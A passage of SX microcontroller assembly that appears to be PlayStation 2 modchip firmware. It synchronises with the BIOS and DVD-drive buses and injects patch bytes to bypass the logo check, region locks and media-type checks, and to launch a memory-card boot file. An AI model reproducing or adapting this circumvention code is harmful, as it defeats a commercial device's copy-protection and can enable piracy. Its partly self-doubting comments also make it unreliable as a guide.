!IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#21;$15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr mov w,#16;$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov IO_CDDVD_BUS,w ; set IO_CDDVD_BUS = w = 0 ? clear IO_CDDVD_BUS values mov w,#$fe ; 1111 1110 IO_CDDVD_BUS_f F output ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$1b mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w mov w,#$15 ; fsr decimal 21 mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- NOTCALLED2 ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov 